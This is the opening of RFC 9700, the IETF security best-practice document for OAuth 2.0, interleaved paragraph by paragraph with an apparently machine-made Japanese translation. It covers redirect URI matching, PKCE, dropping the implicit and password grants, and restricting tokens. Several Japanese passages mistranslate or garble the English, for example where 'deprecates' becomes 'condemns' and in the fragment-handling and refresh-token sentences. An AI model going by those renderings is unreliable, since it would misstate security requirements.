Internet Engineering Task Force (IETF) T. Lodderstedt
Request for Comments: 9700 SPRIND
BCP: 240 J. Bradley
Updates: 6749, 6750, 6819 Yubico
Category: Best Current Practice A. Labunets
ISSN: 2070-1721 Independent Researcher
D. Fett
Authlete
January 2025
This document describes best current security practice for OAuth 2.0. It updates and extends the threat model and security advice given in RFCs 6749, 6750, and 6819 to incorporate practical experiences gathered since OAuth 2.0 was published and covers new threats relevant due to the broader application of OAuth 2.0. Further, it deprecates some modes of operation that are deemed less secure or even insecure.
このドキュメントでは、OAuth 2.0の最良のセキュリティプラクティスについて説明しています。OAuth 2.0が公開され、OAuth 2.0のより広いアプリケーションに関連する新しい脅威をカバーするため、RFCS 6749、6750、および6819で与えられた脅威モデルとセキュリティアドバイスを更新および拡張して、収集された実用的な経験を組み込みます。さらに、安全性が低く、または安全でないと思われるいくつかの動作モードを非難します。
This memo documents an Internet Best Current Practice.
このメモは、インターネットの現在のベストプラクティスを文書化したものです。
This document is a product of the Internet Engineering Task Force (IETF). It represents the consensus of the IETF community. It has received public review and has been approved for publication by the Internet Engineering Steering Group (IESG). Further information on BCPs is available in Section 2 of RFC 7841.
このドキュメントは、インターネットエンジニアリングタスクフォース（IETF）の製品です。IETFコミュニティのコンセンサスを表しています。公開レビューを受けており、インターネットエンジニアリングステアリンググループ（IESG）からの出版が認可されています。BCPSの詳細については、RFC 7841のセクション2で入手できます。
Information about the current status of this document, any errata, and how to provide feedback on it may be obtained at https://www.rfc-editor.org/info/rfc9700.
このドキュメントの現在のステータス、任意のERRATA、およびそのフィードバックを提供する方法に関する情報は、https://www.rfc-editor.org/info/rfc9700で取得できます。
Copyright (c) 2025 IETF Trust and the persons identified as the document authors. All rights reserved.
著作権（c）2025 IETF Trustおよび文書著者として特定された人。無断転載を禁じます。
This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (https://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Revised BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Revised BSD License.
このドキュメントは、BCP 78およびIETFドキュメント（https://trustee.ietf.org/license-info）に関連するIETF Trustの法的規定の対象となります。この文書に関するあなたの権利と制限を説明するので、これらの文書を注意深く確認してください。このドキュメントから抽出されたコードコンポーネントには、セクション4.Eで説明されている法的規定のセクション4.Eで説明されており、改訂されたBSDライセンスで説明されている保証なしで提供されるように、改訂されたBSDライセンステキストを含める必要があります。
1. Introduction
1.1. Structure
1.2. Conventions and Terminology
2. Best Practices
2.1. Protecting Redirect-Based Flows
2.1.1. Authorization Code Grant
2.1.2. Implicit Grant
2.2. Token Replay Prevention
2.2.1. Access Tokens
2.2.2. Refresh Tokens
2.3. Access Token Privilege Restriction
2.4. Resource Owner Password Credentials Grant
2.5. Client Authentication
2.6. Other Recommendations
3. The Updated OAuth 2.0 Attacker Model
4. Attacks and Mitigations
4.1. Insufficient Redirection URI Validation
4.1.1. Redirect URI Validation Attacks on Authorization Code
Grant
4.1.2. Redirect URI Validation Attacks on Implicit Grant
4.1.3. Countermeasures
4.2. Credential Leakage via Referer Headers
4.2.1. Leakage from the OAuth Client
4.2.2. Leakage from the Authorization Server
4.2.3. Consequences
4.2.4. Countermeasures
4.3. Credential Leakage via Browser History
4.3.1. Authorization Code in Browser History
4.3.2. Access Token in Browser History
4.4. Mix-Up Attacks
4.4.1. Attack Description
4.4.2. Countermeasures
4.4.2.1. Mix-Up Defense via Issuer Identification
4.4.2.2. Mix-Up Defense via Distinct Redirect URIs
4.5. Authorization Code Injection
4.5.1. Attack Description
4.5.2. Discussion
4.5.3. Countermeasures
4.5.3.1. PKCE
4.5.3.2. Nonce
4.5.3.3. Other Solutions
4.5.4. Limitations
4.6. Access Token Injection
4.6.1. Countermeasures
4.7. Cross-Site Request Forgery
4.7.1. Countermeasures
4.8. PKCE Downgrade Attack
4.8.1. Attack Description
4.8.2. Countermeasures
4.9. Access Token Leakage at the Resource Server
4.9.1. Access Token Phishing by Counterfeit Resource Server
4.9.2. Compromised Resource Server
4.9.3. Countermeasures
4.10. Misuse of Stolen Access Tokens
4.10.1. Sender-Constrained Access Tokens
4.10.2. Audience-Restricted Access Tokens
4.10.3. Discussion: Preventing Leakage via Metadata
4.11. Open Redirection
4.11.1. Client as Open Redirector
4.11.2. Authorization Server as Open Redirector
4.12. 307 Redirect
4.13. TLS Terminating Reverse Proxies
4.14. Refresh Token Protection
4.14.1. Discussion
4.14.2. Recommendations
4.15. Client Impersonating Resource Owner
4.15.1. Countermeasures
4.16. Clickjacking
4.17. Attacks on In-Browser Communication Flows
4.17.1. Examples
4.17.1.1. Insufficient Limitation of Receiver Origins
4.17.1.2. Insufficient URI Validation
4.17.1.3. Injection after Insufficient Validation of Sender
Origin
4.17.2. Recommendations
5. IANA Considerations
6. Security Considerations
7. References
7.1. Normative References
7.2. Informative References
Acknowledgements
Authors' Addresses
Since its publication in [RFC6749] and [RFC6750], OAuth 2.0 (referred to as simply "OAuth" in this document) has gained massive traction in the market and became the standard for API protection and the basis for federated login using OpenID Connect [OpenID.Core]. While OAuth is used in a variety of scenarios and different kinds of deployments, the following challenges can be observed:
[RFC6749]および[RFC6750]に掲載されて以来、OAuth 2.0（このドキュメントでは単に「OAuth」と呼ばれる）は、市場で大規模な牽引力を獲得し、OpenID Connectを使用したFederated Loginの基礎となっています[OpenID.Core]。OAuthはさまざまなシナリオやさまざまな種類の展開で使用されていますが、次の課題を観察できます。
* OAuth implementations are being attacked through known implementation weaknesses and anti-patterns (i.e., well-known patterns that are considered insecure). Although most of these threats are discussed in the OAuth 2.0 Threat Model and Security Considerations [RFC6819], continued exploitation demonstrates a need for more specific recommendations, easier to implement mitigations, and more defense in depth.
* OAuthの実装は、既知の実装の弱点とアンチパターン（つまり、安全でないと考えられているよく知られているパターン）を通じて攻撃されています。これらの脅威のほとんどは、OAuth 2.0の脅威モデルとセキュリティの考慮事項[RFC6819]で議論されていますが、継続的な搾取は、より具体的な推奨事項、緩和の実装が容易、より多くの防御の必要性が深くなっていることを示しています。
* OAuth is being used in environments with higher security requirements than considered initially, such as open banking, eHealth, eGovernment, and electronic signatures. Those use cases call for stricter guidelines and additional protection.
* OAuthは、オープンバンキング、eHealth、egovernment、電子署名など、最初に考慮されるよりも高いセキュリティ要件を持つ環境で使用されています。これらのユースケースでは、より厳しいガイドラインと追加の保護が必要です。
* OAuth is being used in much more dynamic setups than originally anticipated, creating new challenges with respect to security. Those challenges go beyond the original scope of [RFC6749], [RFC6750], and [RFC6819].
* OAuthは、当初予想されていたよりもはるかにダイナミックなセットアップで使用されており、セキュリティに関する新しい課題を生み出しています。これらの課題は、[RFC6749]、[RFC6750]、および[RFC6819]の元の範囲を超えています。
OAuth initially assumed static relationships between clients, authorization servers, and resource servers. The URLs of the servers were known to the client at deployment time and built an anchor for the trust relationships among those parties. The validation of whether the client is talking to a legitimate server was based on TLS server authentication (see Section 4.5.4 of [RFC6819]). With the increasing adoption of OAuth, this simple model dissolved and, in several scenarios, was replaced by a dynamic establishment of the relationship between clients on one side and the authorization and resource servers of a particular deployment on the other side. This way, the same client could be used to access services of different providers (in case of standard APIs, such as email or OpenID Connect) or serve as a front end to a particular tenant in a multi-tenant environment. Extensions of OAuth, such as the OAuth 2.0 Dynamic Client Registration Protocol [RFC7591] and OAuth 2.0 Authorization Server Metadata [RFC8414] were developed to support the use of OAuth in dynamic scenarios.
OAuthは、最初にクライアント、認可サーバー、およびリソースサーバー間の静的な関係を想定していました。サーバーのURLは、展開時にクライアントに知られており、それらの関係者間の信頼関係のためのアンカーを構築しました。クライアントが正当なサーバーと話しているかどうかの検証は、TLSサーバー認証に基づいていました（[RFC6819]のセクション4.5.4を参照）。OAuthの採用が増加すると、この単純なモデルは解散し、いくつかのシナリオで、片側のクライアント間の関係の動的な確立と、反対側の特定の展開の認可とリソースサーバーに置き換えられました。これにより、同じクライアントを使用して、異なるプロバイダーのサービスにアクセスするために（電子メールやOpenID Connectなどの標準のAPIの場合）、マルチテナント環境の特定のテナントのフロントエンドとして機能します。OAuth 2.0ダイナミッククライアント登録プロトコル[RFC7591]やOAuth 2.0 Authorization Serverメタデータ[RFC8414]などのOAuthの拡張は、動的シナリオでのOAuthの使用をサポートするために開発されました。
* Technology has changed. For example, the way browsers treat fragments when redirecting requests has changed, and with it, the implicit grant's underlying security model.
* テクノロジーが変わりました。たとえば、リダイレクトリクエストが変更されたときにブラウザを断片化する方法は、暗黙のグラントの根底にあるセキュリティモデルです。
This document provides updated security recommendations to address these challenges. It introduces new requirements beyond those defined in existing specifications such as OAuth 2.0 [RFC6749] and OpenID Connect [OpenID.Core] and deprecates some modes of operation that are deemed less secure or even insecure. However, this document does not supplant the security advice given in [RFC6749], [RFC6750], and [RFC6819], but complements those documents.
このドキュメントは、これらの課題に対処するための最新のセキュリティ推奨事項を提供します。OAuth 2.0 [RFC6749]やOpenID Connect [OpenID.Core]などの既存の仕様で定義された要件を超えて新しい要件を導入し、安全性が低く、または安全でないと見なされるいくつかの動作モードを非難します。ただし、このドキュメントは、[RFC6749]、[RFC6750]、および[RFC6819]に与えられたセキュリティアドバイスに取って代わるものではなく、それらのドキュメントを補完します。
Naturally, not all existing ecosystems and implementations are compatible with the new requirements, and following the best practices described in this document may break interoperability. Nonetheless, it is RECOMMENDED that implementers upgrade their implementations and ecosystems as soon as feasible.
当然のことながら、既存のすべてのエコシステムと実装が新しい要件と互換性があるわけではなく、このドキュメントで説明されているベストプラクティスに従うことで相互運用性が損なわれる可能性があります。それにもかかわらず、実装者は実行可能になり次第、実装とエコシステムをアップグレードすることをお勧めします。
OAuth 2.1, under development as [OAuth-V2.1], will incorporate security recommendations from this document.
[OAuth-V2.1]として開発中のOAuth 2.1には、このドキュメントからセキュリティの推奨事項が組み込まれます。
The remainder of this document is organized as follows: Section 2 summarizes the most important best practices for every OAuth implementer. Section 3 presents the updated OAuth attacker model. Section 4 is a detailed analysis of the threats and implementation issues that can be found in the wild (at the time of writing) along with a discussion of potential countermeasures.
このドキュメントの残りの部分は、次のように構成されています。セクション2は、すべてのOAuth実装者にとって最も重要なベストプラクティスをまとめたものです。セクション3では、更新されたOAuth攻撃者モデルを示します。セクション4は、潜在的な対策の議論とともに、野生（執筆時点で）で見られる脅威と実装の問題の詳細な分析です。
The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in BCP 14 [RFC2119] [RFC8174] when, and only when, they appear in all capitals, as shown here.
このドキュメント内のキーワード「MUST」、「MUST NOT」、「REQUIRED」、「SHALL」、「SHALL NOT」、「SHOULD」、「SHOULD NOT」、「RECOMMENDED」、「NOT RECOMMENDED」、「MAY」、および「OPTIONAL」は、ここに示すようにすべて大文字で表示されている場合にのみ、BCP 14 [RFC2119] [RFC8174] で説明されているように解釈されます。
This specification uses the terms "access token", "authorization endpoint", "authorization grant", "authorization server", "client", "client identifier" (client ID), "protected resource", "refresh token", "resource owner", "resource server", and "token endpoint" defined by OAuth 2.0 [RFC6749].
この仕様では、OAuth 2.0 [RFC6749] で定義されている「アクセス トークン」、「認可エンドポイント」、「認可付与」、「認可サーバー」、「クライアント」、「クライアント識別子」(クライアント ID)、「保護されたリソース」、「リフレッシュ トークン」、「リソース所有者」、「リソース サーバー」、および「トークン エンドポイント」という用語を使用します。
An "open redirector" is an endpoint on a web server that forwards a user's browser to an arbitrary URI obtained from a query parameter.
「Open Redirector」は、ユーザーのブラウザをクエリパラメーターから取得した任意のURIに転送するWebサーバーのエンドポイントです。
This section describes the core set of security mechanisms and measures that are considered to be best practices at the time of writing. Details about these security mechanisms and measures (including detailed attack descriptions) and requirements for less commonly used options are provided in Section 4.
このセクションでは、執筆時点でベストプラクティスと見なされるセキュリティメカニズムと測定のコアセットについて説明します。これらのセキュリティメカニズムと測定値（詳細な攻撃の説明を含む）と、あまり一般的に使用されていないオプションの要件に関する詳細は、セクション4に記載されています。
When comparing client redirection URIs against pre-registered URIs, authorization servers MUST utilize exact string matching except for port numbers in localhost redirection URIs of native apps (see Section 4.1.3). This measure contributes to the prevention of leakage of authorization codes and access tokens (see Section 4.1). It can also help to detect mix-up attacks (see Section 4.4).
クライアントのリダイレクトURIを事前に登録されたURISと比較する場合、認可サーバーは、ネイティブアプリのローカルホストリダイレクトURIのポート番号を除き、正確な文字列マッチングを使用する必要があります（セクション4.1.3を参照）。この尺度は、認可コードとアクセストークンの漏洩の防止に貢献します（セクション4.1を参照）。また、ミックスアップ攻撃の検出にも役立ちます（セクション4.4を参照）。
Clients and authorization servers MUST NOT expose URLs that forward the user's browser to arbitrary URIs obtained from a query parameter (open redirectors) as described in Section 4.11. Open redirectors can enable exfiltration of authorization codes and access tokens.
クライアントと認証サーバーは、セクション4.11で説明されているように、ユーザーのブラウザをクエリパラメーター（開くリダイレクター）から取得した任意のURIに転送するURLを公開してはなりません。オープンリダイレクターは、認可コードの除去を可能にし、トークンにアクセスできます。
Clients MUST prevent Cross-Site Request Forgery (CSRF). In this context, CSRF refers to requests to the redirection endpoint that do not originate at the authorization server, but at a malicious third party (see Section 4.4.1.8 of [RFC6819] for details). Clients that have ensured that the authorization server supports Proof Key for Code Exchange (PKCE) [RFC7636] MAY rely on the CSRF protection provided by PKCE. In OpenID Connect flows, the nonce parameter provides CSRF protection. Otherwise, one-time use CSRF tokens carried in the state parameter that are securely bound to the user agent MUST be used for CSRF protection (see Section 4.7.1).
クライアントは、クロスサイトのリクエスト偽造（CSRF）を防ぐ必要があります。これに関連して、CSRFは、認可サーバーではなく、悪意のある第三者で発生するリダイレクトエンドポイントへのリクエストを指します（詳細については、[RFC6819]のセクション4.4.1.8を参照）。認証サーバーがコード交換の証明キー（PKCE）[RFC7636]をサポートすることを保証したクライアントは、PKCEが提供するCSRF保護に依存する場合があります。OpenID Connectフローでは、ノンスパラメーターはCSRF保護を提供します。それ以外の場合、ユーザーエージェントにしっかりと結合した状態パラメーターで運ばれた1回限りの使用CSRFトークンをCSRF保護に使用する必要があります（セクション4.7.1を参照）。
When an OAuth client can interact with more than one authorization server, a defense against mix-up attacks (see Section 4.4) is REQUIRED. To this end, clients SHOULD
OAuthクライアントが複数の認証サーバーと対話できる場合、混合攻撃に対する防御が必要です（セクション4.4を参照）。この目的のために、クライアントはすべきです
* use the iss parameter as a countermeasure according to [RFC9207], or
* ISSパラメーターを[RFC9207]に従って対策として使用するか、
* use an alternative countermeasure based on an iss value in the authorization response (such as the iss claim in the ID Token in [OpenID.Core] or in [OpenID.JARM] responses), processing that value as described in [RFC9207].
* 認可応答のISS値に基づいて代替対策を使用します（[openid.core]または[openid.jarm]応答のIDトークンなど）、[RFC9207]で説明されている値を処理します。
In the absence of these options, clients MAY instead use distinct redirection URIs to identify authorization endpoints and token endpoints, as described in Section 4.4.2.
これらのオプションがない場合、クライアントは代わりに、セクション4.4.2で説明されているように、異なるリダイレクトURIを使用して認証エンドポイントとトークンエンドポイントを特定できます。
An authorization server that redirects a request potentially containing user credentials MUST avoid forwarding these user credentials accidentally (see Section 4.12 for details).
ユーザーの資格情報を含む可能性のある要求をリダイレクトする認可サーバーは、これらのユーザー資格情報を誤って転送することを避ける必要があります（詳細については、セクション4.12を参照）。
Clients MUST prevent authorization code injection attacks (see Section 4.5) and misuse of authorization codes using one of the following options:
クライアントは、認可インジェクション攻撃（セクション4.5を参照）と、次のオプションのいずれかを使用して認証コードの誤用を防ぐ必要があります。
* Public clients MUST use PKCE [RFC7636] to this end, as motivated in Section 4.5.3.1.
* パブリッククライアントは、セクション4.5.3.1で動機付けられているように、この目的のためにPKCE [RFC7636]を使用する必要があります。
* For confidential clients, the use of PKCE [RFC7636] is RECOMMENDED, as it provides strong protection against misuse and injection of authorization codes as described in Section 4.5.3.1. Also, as a side effect, it prevents CSRF even in the presence of strong attackers as described in Section 4.7.1.
* 機密クライアントの場合、セクション4.5.3.1で説明されているように、誤用と認可コードの注入に対する強力な保護を提供するため、PKCE [RFC7636]の使用が推奨されます。また、副作用として、セクション4.7.1で説明されているように、強力な攻撃者の存在下でもCSRFを防ぎます。
* With additional precautions, described in Section 4.5.3.2, confidential OpenID Connect [OpenID.Core] clients MAY use the nonce parameter and the respective Claim in the ID Token instead.
* セクション4.5.3.2で説明されている追加の予防措置により、Confidential OpenID Connect [OpenID.Core]クライアントは、代わりにIDトークンのNonCEパラメーターとそれぞれのクレームを使用できます。
In any case, the PKCE challenge or OpenID Connect nonce MUST be transaction-specific and securely bound to the client and the user agent in which the transaction was started. Authorization servers are encouraged to make a reasonable effort at detecting and preventing the use of constant values for the PKCE challenge or OpenID Connect nonce.
いずれにせよ、PKCE ChallengeまたはOpenID Connect Nonceは、トランザクション固有であり、トランザクションが開始されたクライアントとユーザーエージェントに安全にバインドする必要があります。認可サーバーは、PKCEチャレンジまたはOpenID Connect Nonceの一定の値の使用を検出および防止するために合理的な努力をすることをお勧めします。
Note: Although PKCE was designed as a mechanism to protect native apps, this advice applies to all kinds of OAuth clients, including web applications.
注：PKCEはネイティブアプリを保護するメカニズムとして設計されていますが、このアドバイスは、Webアプリケーションを含むあらゆる種類のOAuthクライアントに適用されます。
When using PKCE, clients SHOULD use PKCE code challenge methods that do not expose the PKCE verifier in the authorization request. Otherwise, attackers that can read the authorization request (cf. Attacker (A4) in Section 3) can break the security provided by PKCE. Currently, S256 is the only such method.
PKCEを使用する場合、クライアントは認可要求でPKCE検証剤を公開しないPKCEコードチャレンジメソッドを使用する必要があります。それ以外の場合、認可要求（セクション3の攻撃者（A4）を参照）を読むことができる攻撃者は、PKCEが提供するセキュリティを破ることができます。現在、S256はそのような方法だけです。
Authorization servers MUST support PKCE [RFC7636].
認可サーバーは、PKCE [RFC7636]をサポートする必要があります。
If a client sends a valid PKCE code_challenge parameter in the authorization request, the authorization server MUST enforce the correct usage of code_verifier at the token endpoint.
クライアントが認可要求で有効なPKCE code_challengeパラメーターを送信する場合、認可サーバーは、トークンエンドポイントでcode_verifierの正しい使用法を実施する必要があります。
Authorization servers MUST mitigate PKCE downgrade attacks by ensuring that a token request containing a code_verifier parameter is accepted only if a code_challenge parameter was present in the authorization request; see Section 4.8.2 for details.
認可サーバーは、code_challengeパラメーターが認可リクエストに存在する場合にのみ、code_verifierパラメーターを含むトークン要求が受け入れられるようにすることにより、PKCEダウングレード攻撃を軽減する必要があります。詳細については、セクション4.8.2を参照してください。
Authorization servers MUST provide a way to detect their support for PKCE. It is RECOMMENDED for authorization servers to publish the element code_challenge_methods_supported in their Authorization Server Metadata [RFC8414] containing the supported PKCE challenge methods (which can be used by the client to detect PKCE support). Authorization servers MAY instead provide a deployment-specific way to ensure or determine PKCE support by the authorization server.
認可サーバーは、PKCEのサポートを検出する方法を提供する必要があります。認可サーバーは、サポートされているPKCEチャレンジメソッド（PKCEサポートを検出するためにクライアントが使用できる）を含む認可サーバーメタデータ[RFC8414]で要素code_challenge_methods_supportedを公開することをお勧めします。代わりに、認可サーバーは、認可サーバーによるPKCEサポートを確保または決定するための展開固有の方法を提供する場合があります。
The implicit grant (response type token) and other response types causing the authorization server to issue access tokens in the authorization response are vulnerable to access token leakage and access token replay as described in Sections 4.1, 4.2, 4.3, and 4.6.
Authorization Serverが認証応答にアクセストークンを発行する暗黙のグラント（応答タイプトークン）およびその他の応答タイプは、セクション4.1、4.2、4.3、および4.6で説明されているように、トークンの漏洩とアクセストークンリプレイにアクセスしやすくなります。
Moreover, no standardized method for sender-constraining exists to bind access tokens to a specific client (as recommended in Section 2.2) when the access tokens are issued in the authorization response. This means that an attacker can use the leaked or stolen access token at a resource endpoint.
さらに、アクセストークンが認可応答で発行されたときに（セクション2.2で推奨されているように）、アクセストークンを特定のクライアントにバインドするための送信者制約の標準化された方法は存在しません。これは、攻撃者がリソースエンドポイントでリークまたは盗まれたアクセストークンを使用できることを意味します。
In order to avoid these issues, clients SHOULD NOT use the implicit grant (response type token) or other response types issuing access tokens in the authorization response, unless access token injection in the authorization response is prevented and the aforementioned token leakage vectors are mitigated.
これらの問題を回避するために、クライアントは、認可対応でのアクセストークンインジェクションが防止され、前述のトークン漏洩ベクターが軽減されない限り、認可応答でアクセストークンを発行する暗黙のグラント（応答タイプトークン）またはその他の応答タイプを使用しないでください。
Clients SHOULD instead use the response type code (i.e., authorization code grant type) as specified in Section 2.1.1 or any other response type that causes the authorization server to issue access tokens in the token response, such as the code id_token response type. This allows the authorization server to detect replay attempts by attackers and generally reduces the attack surface since access tokens are not exposed in URLs. It also allows the authorization server to sender-constrain the issued tokens (see Section 2.2).
代わりに、セクション2.1.1で指定されている応答タイプコード（つまり、認証コードグラントタイプ）またはCode ID_Token Responseタイプなどのトークン応答のアクセストークンを認可に発行するその他の応答タイプを使用する必要があります。これにより、認可サーバーは攻撃者によるリプレイの試みを検出し、一般にアクセストークンがURLに露出していないため、攻撃面を削減できます。また、認可サーバーが発行されたトークンを制御することを許可します（セクション2.2を参照）。
A sender-constrained access token scopes the applicability of an access token to a certain sender. This sender is obliged to demonstrate knowledge of a certain secret as a prerequisite for the acceptance of that token at the recipient (e.g., a resource server).
送信者に制約のあるアクセストークンは、特定の送信者へのアクセストークンの適用性をスコープします。この送信者は、受信者（リソースサーバーなど）でのそのトークンを受け入れるための前提条件として、特定の秘密の知識を示す義務があります。
Authorization and resource servers SHOULD use mechanisms for sender-constraining access tokens, such as mutual TLS for OAuth 2.0 [RFC8705] or OAuth 2.0 Demonstrating Proof of Possession (DPoP) [RFC9449] (see Section 4.10.1), to prevent misuse of stolen and leaked access tokens.
認可サーバーとリソースサーバーは、盗まれたアクセストークンや漏洩したアクセストークンの悪用を防ぐために、OAuth 2.0 の相互 TLS [RFC8705] や OAuth 2.0 所有証明 (DPoP) [RFC9449] (セクション 4.10.1 を参照) などの送信者制約アクセストークンのメカニズムを使用する必要があります。
Refresh tokens for public clients MUST be sender-constrained or use refresh token rotation as described in Section 4.14. [RFC6749] already mandates that refresh tokens for confidential clients can only be used by the client for which they were issued.
パブリッククライアントのトークンを更新する必要があるか、セクション4.14で説明されているように、トークン回転を更新するか、使用する必要があります。[RFC6749]は、機密クライアントのトークンを更新することが、発行されたクライアントのみが使用できることをすでに義務付けています。
The privileges associated with an access token SHOULD be restricted to the minimum required for the particular application or use case. This prevents clients from exceeding the privileges authorized by the resource owner. It also prevents users from exceeding their privileges authorized by the respective security policy. Privilege restrictions also help to reduce the impact of access token leakage.
アクセストークンに関連付けられている特権は、特定のアプリケーションまたはユースケースに必要な最小値に制限される必要があります。これにより、クライアントはリソース所有者によって認可された特権を超えることができなくなります。また、ユーザーがそれぞれのセキュリティポリシーで認可された特権を超えることを防ぎます。特権制限は、アクセストークンの漏洩の影響を減らすのにも役立ちます。
In particular, access tokens SHOULD be audience-restricted to a specific resource server or, if that is not feasible, to a small set of resource servers. To put this into effect, the authorization server associates the access token with certain resource servers, and every resource server is obliged to verify, for every request, whether the access token sent with that request was meant to be used for that particular resource server. If it was not, the resource server MUST refuse to serve the respective request. The aud claim as defined in [RFC9068] MAY be used to audience-restrict access tokens. Clients and authorization servers MAY utilize the parameters scope or resource as specified in [RFC6749] and [RFC8707], respectively, to determine the resource server they want to access.
特に、アクセストークンは、特定のリソースサーバーに視聴者に制限される必要があります。それが実行不可能な場合は、リソースサーバーの小さなセットになります。これを有効にするために、Authorization Serverはアクセストークンを特定のリソースサーバーに関連付けます。すべてのリソースサーバーは、すべての要求に対して、そのリクエストで送信されたアクセストークンがその特定のリソースサーバーに使用されることを意図しているかどうかを確認する義務があります。そうでない場合、リソースサーバーはそれぞれのリクエストの提供を拒否しなければなりません。[RFC9068]で定義されているAUDクレームは、オーディエンスに制限的なアクセストークンに使用できます。クライアントと認可サーバーは、[RFC6749]と[RFC8707]でそれぞれ指定されているパラメータースコープまたはリソースを使用して、アクセスするリソースサーバーを決定できます。
Additionally, access tokens SHOULD be restricted to certain resources and actions on resource servers or resources. To put this into effect, the authorization server associates the access token with the respective resource and actions and every resource server is obliged to verify, for every request, whether the access token sent with that request was meant to be used for that particular action on the particular resource. If not, the resource server must refuse to serve the respective request. Clients and authorization servers MAY utilize the parameter scope as specified in [RFC6749] and authorization_details as specified in [RFC9396] to determine those resources and/or actions.
さらに、アクセストークンは、リソースサーバーまたはリソース上の特定のリソースとアクションに制限される必要があります。これを有効にするために、Authorization Serverはアクセストークンをそれぞれのリソースとアクションに関連付け、すべてのリソースサーバーは、その要求で送信されたアクセストークンがその特定のアクションに使用されることを意図しているかどうかをすべての要求に対して確認する義務があります特定のリソース。そうでない場合、リソースサーバーはそれぞれのリクエストを提供することを拒否する必要があります。クライアントと認証サーバーは、[RFC6749]で指定されているパラメータースコープを使用し、[RFC9396]で指定されているauthorization_detailsを使用して、これらのリソースおよび/またはアクションを決定できます。
The resource owner password credentials grant [RFC6749] MUST NOT be used. This grant type insecurely exposes the credentials of the resource owner to the client. Even if the client is benign, usage of this grant results in an increased attack surface (i.e., credentials can leak in more places than just the authorization server) and in training users to enter their credentials in places other than the authorization server.
リソース所有者のパスワード資格認証グラント[RFC6749]を使用してはなりません。このグラントタイプは、リソース所有者の資格情報をクライアントに不安定に公開します。クライアントが良性であっても、このグラントを使用すると、攻撃面が増加します（つまり、資格情報は認証サーバーよりも多くの場所でリークできます）。
Furthermore, the resource owner password credentials grant is not designed to work with two-factor authentication and authentication processes that require multiple user interaction steps. Authentication with cryptographic credentials (cf. WebCrypto [W3C.WebCrypto], WebAuthn [W3C.WebAuthn]) may be impossible to implement with this grant type, as it is usually bound to a specific web origin.
さらに、リソース所有者のパスワード資格情報付与は、複数のユーザーインタラクションステップを必要とする2要素認証と認証プロセスを使用するようには設計されていません。暗号化資格情報を使用した認証（cf.webcrypto [w3c.webcrypto]、webauthn [w3c.webauthn]）は、通常特定のWeb原点に結合されているため、このグラントタイプで実装することは不可能です。
Authorization servers SHOULD enforce client authentication if it is feasible, in the particular deployment, to establish a process for issuance/registration of credentials for clients and ensuring the confidentiality of those credentials.
認証サーバーは、特定の展開で実行可能な場合、クライアントの資格の発行/登録のプロセスを確立し、それらの資格情報の機密性を確保するために、クライアント認証を実施する必要があります。
It is RECOMMENDED to use asymmetric cryptography for client authentication, such as mutual TLS for OAuth 2.0 [RFC8705] or signed JWTs ("Private Key JWT") in accordance with [RFC7521] and [RFC7523]. The latter is defined in [OpenID.Core] as the client authentication method private_key_jwt). When asymmetric cryptography for client authentication is used, authorization servers do not need to store sensitive symmetric keys, making these methods more robust against leakage of keys.
[RFC7521]および[RFC7523]に従って、OAuth 2.0 [RFC8705]の相互TLSなどのクライアント認証に非対称の暗号化を使用したり、署名されたJWT（「プライベートキーJWT」）などのクライアント認証を使用することをお勧めします。後者は、[openid.core]でクライアント認証方法private_key_jwtとして定義されています。クライアント認証のための非対称暗号化が使用される場合、認可サーバーは敏感な対称キーを保存する必要はなく、これらの方法をキーの漏洩に対してより堅牢にします。
The use of OAuth Authorization Server Metadata [RFC8414] can help to improve the security of OAuth deployments:
OAuth Authorization Serverメタデータ[RFC8414]の使用は、OAuth展開のセキュリティの改善に役立ちます。
* It ensures that security features and other new OAuth features can be enabled automatically by compliant software libraries.
* これにより、セキュリティ機能やその他の新しいOAuth機能を、準拠したソフトウェアライブラリによって自動的に有効にすることができます。
* It reduces chances for misconfigurations -- for example, misconfigured endpoint URLs (that might belong to an attacker) or misconfigured security features.
* 誤解のチャンスを減らします。たとえば、誤解されたエンドポイントURL（攻撃者に属する可能性があります）または誤解されたセキュリティ機能を削減します。
* It can help to facilitate rotation of cryptographic keys and to ensure cryptographic agility.
* 暗号化キーの回転を促進し、暗号化の俊敏性を確保するのに役立ちます。
It is therefore RECOMMENDED that authorization servers publish OAuth Authorization Server Metadata according to [RFC8414] and that clients make use of this Authorization Server Metadata (when available) to configure themselves.
したがって、認証サーバーは[RFC8414]に従ってOAuth Authorization Serverメタデータを公開し、クライアントがこの認可サーバーメタデータ（利用可能な場合）を使用して自分で構成することをお勧めします。
Under the conditions described in Section 4.15.1, authorization servers SHOULD NOT allow clients to influence their client_id or any other claim that could cause confusion with a genuine resource owner.
セクション4.15.1で説明されている条件下では、認可サーバーは、クライアントがクライアント_IDまたは本物のリソース所有者との混乱を引き起こす可能性のあるその他の主張に影響を与えることを許可してはなりません。
It is RECOMMENDED to use end-to-end TLS according to [BCP195] between the client and the resource server. If TLS traffic needs to be terminated at an intermediary, refer to Section 4.13 for further security advice.
クライアントとリソースサーバーの間で[BCP195]に従ってエンドツーエンドTLSを使用することをお勧めします。TLSトラフィックを仲介者で終了する必要がある場合は、セキュリティアドバイスについては、セクション4.13を参照してください。
Authorization responses MUST NOT be transmitted over unencrypted network connections. To this end, authorization servers MUST NOT allow redirection URIs that use the http scheme except for native clients that use loopback interface redirection as described in Section 7.3 of [RFC8252].
認可応答は、暗号化されていないネットワーク接続を介して送信されてはなりません。この目的のために、認証サーバーは、[RFC8252]のセクション7.3で説明されているように、ループバックインターフェイスリダイレクトを使用するネイティブクライアントを除き、HTTPスキームを使用するリダイレクトURIを許可してはなりません。
If the authorization response is sent with in-browser communication techniques like postMessage [WHATWG.postmessage_api] instead of HTTP redirects, both the initiator and receiver of the in-browser message MUST be strictly verified as described in Section 4.17.
HTTPリダイレクトの代わりに、PostMessage [Whatwg.Postmessage_Api]などのブラウザ内通信手法で認可応答が送信された場合、セクション4.17で説明したように、ブラウザ内のメッセージのイニシエーターと受信機の両方を厳密に検証する必要があります。
